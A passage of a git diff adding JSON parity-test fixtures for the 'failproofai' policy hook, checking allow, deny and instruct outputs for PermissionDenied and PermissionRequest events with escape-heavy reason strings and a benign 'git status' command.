"cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PermissionDenied/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PermissionDenied/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..dee66865 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionDenied/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PermissionDenied/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PermissionDenied/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..988ce422 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionDenied/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PermissionDenied/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PermissionDenied/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..98372e63 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionDenied/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PermissionDenied/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PermissionDenied/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..45c210bb --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionDenied/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PermissionDenied/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PermissionDenied/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..88ba15d4 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionDenied/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PermissionDenied/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PermissionDenied/deny__tool-present__one-policy.json new file mode 100644 index 00000000..e37eb3ab --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionDenied/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PermissionDenied/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PermissionDenied/deny__tool-present__two-policies.json new file mode 100644 index 00000000..b1d7ad67 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionDenied/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PermissionDenied/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PermissionDenied/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..046cdfcb --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionDenied/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PermissionDenied/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PermissionDenied/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..cbe9b267 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionDenied/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PermissionDenied/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PermissionDenied/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..c468ed31 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionDenied/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PermissionDenied/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PermissionDenied/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..4d6a797a --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionDenied/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PermissionRequest/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PermissionRequest/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..dbfb84e8 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionRequest/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PermissionRequest/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PermissionRequest/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..42fad160 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionRequest/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PermissionRequest/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PermissionRequest/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..b471f3df --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionRequest/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PermissionRequest/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/PermissionRequest/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..7778ce52 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionRequest/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/PermissionRequest/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/PermissionRequest/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..ef147d9f --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionRequest/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PermissionRequest/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/PermissionRequest/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..fff1d782 --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionRequest/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/PermissionRequest/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/PermissionRequest/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..8eea168d --- /dev/null +++ b/__tests__/parity/fixtures/pi/PermissionRequest/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": 